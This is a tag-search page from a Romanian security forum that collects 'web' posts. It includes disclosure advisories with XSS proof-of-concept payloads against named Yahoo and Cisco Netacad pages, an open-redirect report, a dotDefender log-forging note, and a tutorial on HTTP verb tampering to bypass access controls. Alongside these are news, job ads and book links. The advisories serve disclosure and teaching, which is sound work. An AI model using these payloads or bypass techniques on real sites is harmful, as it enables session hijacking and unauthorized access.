Jump to content

Search the Community

Showing results for tags 'web'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. Document Title: =============== Yahoo eMarketing Bug Bounty #31 - Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1491 Yahoo Security ID (H1): #55395 Release Date: ============= 2015-05-07 Vulnerability Laboratory ID (VL-ID): ==================================== 1491 Common Vulnerability Scoring System: ==================================== 3.3 Product & Service Introduction: =============================== Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely known for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo! News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700 million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers every month in more than 30 languages. (Copy of the Vendor Homepage: http://www.yahoo.com ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a client-side cross site scripting web vulnerability in the official Yahoo eMarketing online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-03: Vendor Notification (Yahoo Security Team - Bug Bounty Program) 2015-05-05: Vendor Response/Feedback (Yahoo Security Team - Bug Bounty Program) 2015-05-06: Vendor Fix/Patch (Yahoo Developer Team) 2015-05-06: Bug Bounty Reward (Yahoo Security Team - Bug Bounty Program) 2015-05-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Yahoo eMarketing online service web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `id` value of the `eMarketing` module. Remote attackers are able to inject malicious script codes to client-side GET method application requests. Remote attackers are able to prepare special crafted web-links to execute client-side script code that compromises the yahoo user/admin session data. The execution of the script code occurs in same module context location by a mouse-over. The attack vector of the vulnerability is located on the client-side of the online service and the request method to inject or execute the code is GET. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Yahoo > eMarketing Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click). For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC Payload(s): "onmouseenter="confirm(document.domain) (https://marketing.tw.campaign.yahoo.net/) PoC: eMarketing ID <br/> <table border="0" cellspacing="0" cellpadding="0" width="100%"> <tr> <td align="right" width="10%" > <div class="fb-like" style="overflow: hidden; " data-href="http://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id="onmouseenter="confirm(document.domain)" data-layout="button_count" data-action="recommend" data-show-faces="false" data-share="true"></div> </td> <td align="left" valign="bottom" width="65%" > <span style="font-size:12px; margin: 2px; font-weight:bold; color:#4d0079">?????????? ????????</span> </td> </tr> </table> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id=%22onmouseenter=%22confirm(document.domain) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[text/html] Request Headers: Host[marketing.tw.campaign.yahoo.net] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:37.0) Gecko/20100101 Firefox/37.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Cookie[_ga=GA1.5.1632823259.1428499428; s_pers=%20s_fid%3D66FF8BBF1D4DB480-10779CBEBDA57A64%7C1491837590956%3B%20s_vs%3D1%7C1428680990957%3B%20s_nr%3D1428679190961-New%7C1460215190961%3B; __qca=P0-870655898-1430085821750; _ga=GA1.2.1969841862.1430892005] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Response Headers: Date[Wed, 06 May 2015 12:19:05 GMT] Server[ATS] X-Powered-By[PHP/5.3.27] Content-Type[text/html] Age[0] Connection[close] Via[http/1.1 leonpc (ApacheTrafficServer/4.2.0 [c sSf ])] Reference(s): https://marketing.tw.campaign.yahoo.net https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/ https://marketing.tw.campaign.yahoo.net/emarketing/searchMarketing/main/S04/B01?id= Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable id value in the emarketing service application of yahoo. Restrict the input and disallow special chars or script code tags to prevent further injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the tw yahoo application is estimated as medium. (CVSS 3.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
  2. Dear members, First of all, apologies if this is posted in the wrong section We are urgently looking for highly professional web security analysts who wish to work by contract in our security company. You need to have a comprehensive knowledge in researching exploitation of web security (eg. php, java etc). If you wish to apply to this project, please provide us your CV. Also companies can apply if they have staff who can work with us locally. Regards, M.
  3. What is an HTTP VERB? Hypertext transfer protocol (HTTP) gives you list of methods that can be used to perform actions on the web server. Many of these methods are designed to help developers in deploying and testing HTTP applications in development or debugging phase. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Also, some high vulnerability like Cross Site Tracing (XST), a form of cross site scripting using the server’s HTTP TRACE method, is examined. In HTTP methods, GET and POST are most commonly used by developers to access information provided by a web server. HTTP allows several other method as well, which are less known methods. Following are some of the methods: HEAD GET POST PUT DELETE TRACE OPTIONS CONNECT Many of these methods can potentially pose a critical security risk for a web application, as they allow an attacker to modify the files stored on the web server, delete the web page on the server, and upload a web shell to the server which leads to stealing the credentials of legitimate users. Moreover, when rooting the server, the methods that must be disabled are the following: PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g. an ASP or PHP file that executes commands by invoking cmd.exe), or by simply using the victim’s server as a file repository. DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a Denial of Service (DOS) attack. CONNECT: This method could allow a client to use the web server as a proxy TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes of developers. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman. If an application requires any one of the above mentioned, such as in most cases REST Web Services may require the PUT or DELETE method, it is really important to check that their configuration/usage is properly limited to trusted users and safe environment. Many web environments allow verb based authentication and access control (VBAAC). This is basically nothing but a security control using HTTP methods such as GET and POST (usually used). Let’s take an example to make you understand better. JAVA EE web XML file <security-constraint> <web-resource-<a href="http://resources.infosecinstitute.com/collection/">collection</a>> <url-pattern>/auth/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>root</role-name> </auth-constraint> </security-constraint> In the above example, the rule is limited to the /auth directory to root role only. However, this limitation can be bypasses using HTTP verb tempering even after limited/restricted access to the mentioned role. As we can see, the above mentioned configuration has only restricted the same using GET and POST methods only. We can easily bypass this with the use of the HEAD method; you can also try any other HTTP methods as well such as PUT, TRACK, TRACE, DELETE, etc. Also, you can try to bypass the same by sending arbitrary strings such as ASDF as an HTTP verb (method). Following are some conditions where bypassing is possible: It has GET functionality that is not idempotent or execute an arbitrary HTTP Method It uses a security control that lists HTTP verbs The security control fails to block HTTP methods that are not listedThese are the most common scenarios where you can bypass the same. It also depend upon rule misconfiguration. How we can bypass VBAAC with HTTP methods Using HEAD method As mentioned above, the HEAD Method is used to fetch a result similar to GET but with no response body. Imagine a URL in your application that is protected by security constraints that restrict access to the /Auth directory with GET and POST only. http://httpsecure.org/auth/root.jsp?cmd=adduser If you try to force browse to the URL in a browser, a security constraint will check the rule to see whether the requested resource and requestor are authorized or not. The first rule will check the HTTP method as it came from the browser, so it should be a GET or POST method that’s stopped by the security constraint. If you use a browser proxy such as BurpSuite to intercept the request and craft it by changing GET to HEAD method, since HEAD method is not listed in the security constraint the request willnot be blocked. So the adduser function will be successfully invoked and you will get the empty response back in the browser due to HEAD functionality. Using Arbitrary HTTP Verbs Most of the platforms allow the use of arbitrary HTTP verbs such as PHP, JAVA EE. These methods execute similar to a GET request, which enables you to bypass the same. Most importantly, using the arbitrary methods response will not be stripped as it is for the HEAD method. You can see the internal pages easily. With the using arbitrary method, instead of the HEAD method page source code can be viewed. Some Vendors Allow HEAD Verbs Many server vendors allow HEAD verbs by default, such as: APACHE 2.2.8 JBOSS 4.2.2 WEBSPERE 6.1 TOMCAT 6.0 IIS 6.0 WEBLOGIC 8.2 Allowing the HEAD method is not a vulnerability at all, as it is a requirement in the RFC. Let’s have a look at some of the most popular outdated application security mechanisms to see if we can use them to bypass VBAAC.Following are the servers which may get affected by VERB tampering techniques. JAVA EE Allow HTTP Verbs in Policy -YES Bypassing Possible – YES HEAD can be in policy – YES .htaccess Allow HTTP Verbs in Policy – YES Bypassing Possible – YES (if not set) HEAD can be in policy – YES ASP.NET Allow HTTP Verbs in Policy – YES Bypassing Possible – YES (if not set) HEAD can be in policy – YES Java EE Containers Let’s consider the following security constraint policy: <security-constraint> <display-name>Example Security Constraint Policy</display-name> <web-resource-collection> <web-resource-name>Protected Area</web-resource-name> <!-- Define the context-relative URL(s) to be protected --> <url-pattern>/auth/security/*</url-pattern> <!-- If you list http methods, only those methods are protected --> <http-method>POST</http-method> <http-method>PUT</http-method> <http-method>DELETE</http-method> <http-method>GET</http-method> </web-resource-collection> ... </security-constraint> In the above mentioned code, listed methods are protected, so this rule will only trigger if a request for anything in the /auth/security directory uses a verb in the <http-method> list. The best way to implement this policy would be to block any method that is not listed, butthat is not the way these mechanisms currently behave, and you can see that the HEAD verb is not in this list. So, forwarding the HTTP HEAD request will bypass this policy entirely, and after that, the application server will pass the request to the GET handler. The right approach to secure a JAVA EE is to remove all the <http-method> elements from this policy, which simply applies this rule to all the HTTP methods, but if you still want to restrict access to specific method, then you need to setup two policies as mentioned below. <security-constraint> <web-resource-collection> <web-resource-name>site</web-resource-name> <url-pattern>/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> ... </security-constraint> <security-constraint> <web-resource-collection> <web-resource-name>site</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> ... </security-constraint> So, the first policy denies a GET request to access and second policy denies all. ASP.NET Authorization Let’s have a look at the ASP.NET authorization security mechanism configuration, which is vulnerable to bypass with VBAAC. <authorization> <allow verbs="POST" users="joe"/> <allow verbs="GET" users="*"/> <deny verbs="POST" users="*"/> </authorization> In the above mentioned rule, the user JOE can only submit a POST request. In this example, this cannot be bypassed, the reason being GET methods are allowed to everyone. So, there are no securities to bypass using the HEAD method. <authorization> <allow verbs="GET" users="root"/> <allow verbs="POST" users="joe"/> <deny verbs="POST,GET" users="*" /> </authorization> This one is vulnerable to bypass using HEAD method. This is possible because .Net implicitly inserts an “allow all” rule in to each authorization. After listing their role entitlements appropriately, append a “deny all” rule. <authorization> <allow verbs="GET" users="root"/> <allow verbs="POST" users="joe"/> <deny verbs="*" users="*" /> </authorization> This will ensure that the only requests that pass the authorization check are those that have a specific HTTP verb that is in the authorization rule. Some Points to remember 1) Always enable deny all option 2) Configure your web and application server to disallow HEAD requests entirely Thanks for reading References https://www.owasp.org/index.php/Test_HTTP_Methods_%28OTG-CONFIG-006%29 http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb- tampering Source
  4. Salut am 17 ani. Imi place programarea si web design-ul. Cunostinte: Delphi, Php, MySql, Linux
  5. English | ISBN-13: 978-1466592612 | 532 pages | PDF | 23 MB In this book, web security expert Wu Hanqing reveals how hackers work and explains why companies of different scale require different security methodologies. With in-depth analysis of the reasons behind the choices, the book covers client script security, server applications security, and Internet company security operations. It also includes coverage of browser security, cross sites script attacks, click jacking, HTML5/PHP security, injection attacks, authentication, session management, access control, web frame security, DDOS, leaks, Internet transactions security, and the security development lifecycle. Link : Dropbox - Web Security: A WhiteHat Perspective
  6. Aici sunt 2 tutoriale video pentru cei ce vor sa se apuce de web design. Photoshop Web Design for Begginers: https://www.youtube.com/embed/lDQVx77_KEM Css & HTML for Begginers: https://www.youtube.com/embed/sEo8ci9Lfmw Si inca ceva din care ai ce invata: https://www.youtube.com/embed/NG_FhztzoyU Primele doua le-am vazut si sunt super bine explicate,iar pe al 3 lea urmeaza. Bafta
  7. Web applications are critical to the enterprise infrastructure. Companies rely on them to communicate with partners, clients, shareholders and others, as well as store corporate information, share files, and conduct a host of other operations. These applications are convenient, as their functionality is dependent upon online browsers. However, web applications may have security weaknesses that can expose a single user or the entire organization to multiple threats. Cyber criminals have been focusing on the web in recent years and the trend continues to grow. Cyber attacks are becoming high-profile, getting more sophisticated, and increasing in frequency. According to the Gartner Group, 75 percent of cyber attacks and web security violations occur through Internet applications. Regardless of the development of the application being outsourced or in-house, adversaries examine the infrastructure of an application and its design to identify potential vulnerabilities that can be exploited. High-risk threats to web applications In particular, enterprises need to be aware of the following threats to web applications. The focus is on the wide repertoire of techniques adversaries use to compromise web applications and sites: DoS (Denial of Service): DoS attacks involve hackers overwhelming a web application with multiple requests for information, slowing down the operation of a website or entirely taking it down. A multi-source attack is considered a distributed DoS or DDoS, which routes the malicious traffic through a bigger number of servers. Attackers may also upload dangerous files, which may be downloaded by employees or processed in a corporate environment. Cross-site scripting (XSS): This is a common vulnerability that exploits web application weaknesses to attack users. The attack involves hackers passing data that’s crafted to masquerade legitimate functionality; without proper validation of data, malicious code is transferred to the web browser. In many cases, cyber criminals craft attacks via JavaScript, but attacks may also include Flash, HTML, or another code executed by web browsers. Cross-site scripting enable hackers to steal credentials, hijack sessions, or redirect users to malicious sites. SQL injection: These are random attacks that target applications with weak security to inject malware to extract data or aid virus distribution. These two scenarios are often a result of poor programming. Successful attacks involve hackers modifying the logic of SQL statements against databases. The application, in most cases, builds dynamic query statements, enabling malicious users to work with the data. Consequences can include data corruption, account compromise, or even a complete host takeover. Parameter & buffer manipulation: Websites often use URL parameters to pass information between web pages. Hackers can take advantage of this process and rewrite parameters in malicious ways. They may also manipulate buffers (a small storage allocated for data), andoverload them so that additional data overwrites data in other areas. Hackers may also override data with their own malicious code. Security policy template Security policies are, in effect, a strategy to protect web applications and ensure availability at all times. These generally include steps to identify responsibilities, predict threat vectors, and determine prevention & mitigation methodologies. It is essential to define rules for ensuring high availability of applications and minimizing weaknesses. Access and control mechanisms It is common for web applications to lack sufficient authorization checks for people attempting to access their resources. In a secure environment, there should be both role based and user access controls. Organizations should ensure that users can’t bypass ACLs by navigating directly to a file or page. This can be done by setting ACLs to default grant or deny access to authorized users and roles. The IT team can also utilize vetted frameworks and libraries. Access and control should be kept separate, and custom authorization routines should be avoided, as they make the authentication of all necessary channels more challenging. Delineation of responsibilities Never assume there are predefined responsibilities to access files and data stored by web applications. A lot of testing and experience goes into vetted frameworks, encryption algorithms and libraries, so make sure there is a clear description of responsibilities for every user at every possible step. The more default the set of responsibilities, the more difficult it will become to securing the application. Roles and access control are not just for developers, but for all people involved in using web applications. You need to have some delineation of roles with different levels of access for each user. While every organization’s application development program will be different, responsibilities can be handled in different ways or added in different places, and still be effective. Security resources and tools A well-defined policy template includes the use of encryption algorithm for web applications. Users have to determine the data that is valuable enough for encryption, and identify vulnerabilities through threat modeling. Some resources may have to be sacrificed to secure highly sensitive data. Implementations like a web application firewall will safeguard enterprise applications and websites from any cyber threat, so you can avoid costly downtime and data breach attacks. Enterprises are recommended to look for PCI-certified WAF as it protects against Cross-site scripting, SQL injections, and other threats. Some offerings include custom security rules that let you enforce security policies efficiently while eliminating false positives. New solutions are also using crowdsourcing techniques to protect applications with collective knowledge about the modern threat landscape. Threat information is aggregated using big data analytics. Disaster recovery and emergency mechanisms Disaster recovery solutions are required for immediate response to high-risk situations and mitigation strategies must be deployed to limit exposure from an attack. Disaster recovery should be allowed to bypass security assessments and address the risk before a proper assessment can be carried out. Patch releases, on the other hand, are subjected to appropriate level assessment based on the threats to the application architecture and/or functionality. CIOs are the personnel in charge of disaster recovery initiatives. Emergency mechanisms may include steps to take the application off-the-web or stop functionality release into the live environment if multiple threats increase the risk to unacceptable levels. Emergencies should be addressed in a point/patch release unless other mitigation strategies limit exposure. Credentials after patching may be temporarily stored outside of the webroot until the application infrastructure is tested in updated areas of the application environment. Other measures When web applications feature hard-coded credentials, the user can store credentials in the form of hashes to improve security in case the database or the configuration files get breached. Strict ACLs can also be deployed to protect credentials. Enterprises should also use a whitelist of acceptable input commands. If applications are configured to construct SQL queries, but include vulnerabilities that enable hackers to modify these queries, then it is beneficial to avoid dynamic queries, quote arguments, and special characters. The database inputs should be sanitized in general, and there should be strict rules for input validation. Compliance measures and business benefits When it comes to compliance, users who violate this policy should be subjected to a hearing, which may be concluded with a disciplinary action such as termination of employment, depending on the nature of violation. Everyone accessing web applications should undergo assessment as a requirement of a security policy and adhere to the policy unless exempted in certain circumstances. The infrastructure of all applications should be updated to include the security control process. Any web applications that lack appropriate security controls should be taken down for formal assessment, and should not make their way online until the CIO clears them for security integration. All these measures will result in business benefits, such as no loss of productivity during downtimes, and ensure SLAs are met. An enterprise with highly secured web applications will also attract more clients, as they would be better able to protect sensitive customer information. Organizations following the security policy template would also enjoy technical benefits such as high availability and security of data. Both these factors are likely to improve client-wide and industry wide reputation. Lastly, the policy will bridge the gap between good IT practices and enterprise security compliance. Source
  8. Amazon has patched dangerous cross-site scripting (XSS) vulnerability in its website that exposed accounts to hijacking. A Brazilian hacker using the handle @bruteLogic published the then-zero-day flaw to XSSposed.org Saturday without tipping off the book giant. Amazon swatted the flaws two days later. The time between disclosure and patch opened what the hacker told Beta News was a chance for Amazon accounts to be compromised and web browsers exploited. His reasoning for full disclosure was that Amazon did not pay cash for bug bounty reports. He says the vulnerability allowed attacks to view Amazon user credit cards and to purchase items in their name, provided a victim clicked on a crafted malicious link. Amazon has been contacted for comment. Cross-site scripting vulnerabilities are a persistent scourge on internet assets. It allows attackers to quietly target victims using vulnerable web applications that do not properly check input. The Open Web Application Security Project puts XSS as the third worst application security blunder behind broken authentication and injection. The web hole follows Amazon's September kerfuffle after it reintroduced a flaw in its Kindle management page that could have allowed attackers to inject malcode into a book's title which could have commandeered accounts. Source
  9. ########################### #Exploit Title: # Script Cisco Network Academy - Stored XSS vulnerability #Date: 017/03/2015 #Author: kabanni bntdzdz@gmail.com #Product web page: www.cisco.com #Tested on: Windows 8.1 #OSVDB-ID: ########################### 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 1 ______ 0 0 .-" "-. 1 1 / HaChkerz_Dz \ =-=-=-=-=-=-=-=-=-=-=-=| 0 0 Algerian HaCker | | > Site : GDGBordj.org | 1 1 --------------- |, .-. .-. ,| > fb : @kabanni | 0 0 | )(_o/ \o_)( | > [email]kacily2008@gmail.com[/email]| 1 1 |/ /\ \| =-=-=-=-=-=-=-=-=-=-=-| 0 0 (@_ (_ ^^ _) 0X00 Team 1 1 _ ) \_______\__|IIIIII|__/_______________________ 0 0 (_)@8@8{}<________|-\IIIIII/-|________________________> 1 1 )_/ \ / 0 0 (@ `--------` 2015, 0x00 Team 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 0 Script Cisco Network Academy XSS vulnerability 1 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0 ########################## Description A vulnerability in the web framework of Cisco Netacad could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface on the affected system. The vulnerability is due to insufficient input validation of several parameters in the input fields Quarantine web page. An attacker could exploit this vulnerability by persuading a user to access a malicious link. # Sample Payload for Stored XSS: "<script>alert(0);</script> " # Solution Fix & Patch: Filter the input fields aganist to XSS attacks & Upgrade the the script. #Security Risk: The risk of the vulnerabilities above estimated as high. #Proof of Concept (PoC): <input type="TEXT" maxlength="250" size="50" name="ANSWERrt_239101" disabled=""> #Details of the attack: The web site netacd.com , is allowed to the users pass the exams of CCNA . The questions compose in many format like Check box , Radio , and Input field . When enter the code malicious to a question witch content an input field , finally if submit the answers ,and when go to show the assessment , the user appear a message java script . --==[[ Greetz To ]]==-- ############################################################################################ #0x00 , Alhack , Mr.elhdj Google , Hakim_Ghorb , Mohamed Ramaden , Team Anonymous . #Mr.Zaki ,Dr.Ben Taleb,Nas_unknown ,Dahmani,Good_person ,Boud_Sah ,Moh_Dz ,Yass_assasine. #Amin-Biskra , Bouhlel ,Meliani, Najmo & All students TIC & Informatics at Univ-Msila ############################################################################################# --==[[Love to]]==-- # My Father & Mother ,All Kacem(bira9i9) ,my Ex Teacher , My wife . --==[[ All Muslims Hachers ]]==-- <3 0x00 Team <3 Source
  10. *Innovative WebPAC Pro 2.0 Unvalidated Redirects and Forwards (URL Redirection) Security Vulnerabilities* Exploit Title: Innovative WebPAC Pro 2.0 /showres url parameter URL Redirection Security Vulnerabilities Vendor: Innovative Interfaces Inc Product: WebPAC Pro Vulnerable Versions: 2.0 Tested Version: 2.0 Advisory Publication: March 14, 2015 Latest Update: March 14, 2015 Vulnerability Type: URL Redirection to Untrusted Site ('Open Redirect') [CWE-601] CVE Reference: * Impact CVSS Severity (version 2.0): CVSS v2 Base Score: 5.8 (MEDIUM) (AV:N/AC:M/Au:N/C:P/I:P/A:N) (legend) Impact Subscore: 4.9 Exploitability Subscore: 8.6 Discover and Author: Wang Jing [CCRG, Nanyang Technological University (NTU), Singapore] *Suggestion Details:* *(1) Vendor & Product Description:* *Vendor:* Innovative Interfaces Inc *Product & Version:* WebPAC Pro 2.0 *Vendor URL & Download:* WebPAC Pro can be got from here, http://www.iii.com/products/webpac_pro.shtml http://lj.libraryjournal.com/2005/12/ljarchives/innovative-releasing-webpac-pro/ *Libraries that have installed WebPac Pro:* https://wiki.library.oregonstate.edu/confluence/display/WebOPAC/Libraries+that+have+installed+WebPac+Pro *Product Introduction Overview:* "Today, some libraries want to enhance their online presence in ways that go beyond the traditional OPAC and the "library portal" model to better integrate the latest Web functionality. With WebPAC Pro, libraries will be able to take advantage of the latest Web technologies and engage Web-savvy users more effectively than ever before. WebPAC Pro is a complete update of the Web OPAC interface" "WebPAC Pro breaks through the functional and design limitations of the traditional online catalog. Its solid technology framework supports tools for patron access such as Spell Check; integrated Really Simple Syndication (RSS) feeds; a suite of products for seamless Campus Computing; and deep control over information content and presentation with Cascading Style Sheets (CSS). WebPAC Pro is also a platform for participation when integrated with Innovative's Patron Ratings features and Community Reviews product. What's more, with WebPAC Pro's RightResult™ search technology, the most relevant materials display at the top so patrons get to the specific items or topics they want to explore immediately. WebPAC Pro can also interconnect with Innovative's discovery services platform, Encore. And for elegant access through Blackberry® Storm™ or iPhone™, the AirPAC provides catalog searching, item requesting, and more." *(2) Vulnerability Details:* WebPAC Pro web application has a security bug problem. It can be exploited by Unvalidated Redirects and Forwards (URL Redirection) attacks. This could allow a user to create a specially crafted URL, that if clicked, would redirect a victim from the intended legitimate web site to an arbitrary web site of the attacker's choosing. Such attacks are useful as the crafted URL initially appear to be a web page of a trusted site. This could be leveraged to direct an unsuspecting user to a web page containing attacks that target client side software such as a web browser or document rendering programs. Other Innovative Interfaces products vulnerabilities have been found by some other bug hunter researchers before. Innovative has patched some of them. NVD is the U.S. government repository of standards based vulnerability management data (This data enables automation of vulnerability management, security measurement, and compliance (e.g. FISMA)). It has published suggestions, advisories, solutions related to Innovative vulnerabilities. *(2.1) *The first code programming flaw occurs at "showres?" page with "&url" parameter. *References:* http://tetraph.com/security/open-redirect/innovative-webpac-pro-2-0-unvalidated-redirects-and-forwards-url-redirection-security-vulnerabilities/ http://securityrelated.blogspot.com/2015/03/innovative-webpac-pro-20-unvalidated.html http://www.inzeed.com/kaleidoscope/computer-web-security/innovative-webpac-pro-2-0-unvalidated-redirects-and-forwards-url-redirection-security-vulnerabilities/ http://diebiyi.com/articles/%E5%AE%89%E5%85%A8/innovative-webpac-pro-2-0-unvalidated-redirects-and-forwards-url-redirection-security-vulnerabilities/ https://infoswift.wordpress.com/2015/03/14/innovative-webpac-pro-2-0-unvalidated-redirects-and-forwards-url-redirection-security-vulnerabilities/ http://marc.info/?l=full-disclosure&m=142527148510581&w=4 http://en.hackdig.com/wap/?id=17054 -- Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. http://www.tetraph.com/wangjing/ https://twitter.com/tetraphibious Source
  11. Vulnerable soft: Applicure DotDefender (all versions) Vendor's site: Download dotDefender 5.00 & 5.13 Vulnerabilities: Persistent XSS,Log forging,Potential DoS When Discovered: 15 March 2015 Discovered by: AkaStep Under some circumstances this is possible attack DotDefender's admin interface and as result conduct PHISHING/Log forging/Potential Denial Of service against "Log Viewer" functionality. The main reason of vulnerability: DotDefenders Developers trusts to X-Forwarded-for HTTP Header and to it's variable (that is client side controllable) and sadly there is no any validation/sanitization of that variable and it's val. This vulnerability was successfully tested against for the following configurations:(in Lab/ Production environment) 1) Apache Traffic Server ===> Apache 2.4 2) Apache 2.4 with mod_proxy. Tested versions:(But other versions may also be affected) • dotDefender Version: 5.12-13217 • Web Server Type: Apache • Server Operating System: Linux • Web Server Version: Unknown • dotDefender Version: 5.13-13282 • Web Server Type: Apache • Server Operating System: Linux • Web Server Version: Unknown Read more: http://packetstorm.wowhacker.com/1503-exploits/DotDefender-XSS.pdf
  12. Intrun fel imi pare rau,pentru mine internet explorer o fost ca un tata betiv cate ma batea tot timpul,dar pentru asta eu tot il iubeam,totusi o fost primul meu browser:)))))) Windows 10 will abandon the long-criticized Internet Explorer web browser, replacing it with a new “Project Spartan” brand, Microsoft has confirmed. Microsoft's marketing chief confirmed at the company's ‘Convergence’ conference in Atlanta on Monday that Internet Explorer, the major old web browser brand, will only be used in enterprise compatibility with the new Windows 10, which will be offering a new way of browsing the internet, The Verge reported. “We’ll continue to have Internet Explorer, but we’ll also have a new browser called Project Spartan. We have to name the thing,” Chris Capossela said. Microsoft's new web browser, for the moment being called “Project Spartan”, is currently being developed. Though it’s not available yet, it is said to have rejected the legacy of the IE code, thus becoming easier and faster in operation, with the best Javascript performance, according to some leaks. The project is likely to have a final name with the word “Microsoft” in it, because market research on Google Chrome users showed that people find it appealing. It is expected to be introduced alongside with Windows 10 at the end of this year. Internet Explorer has had a long history, doomed by a negative image, 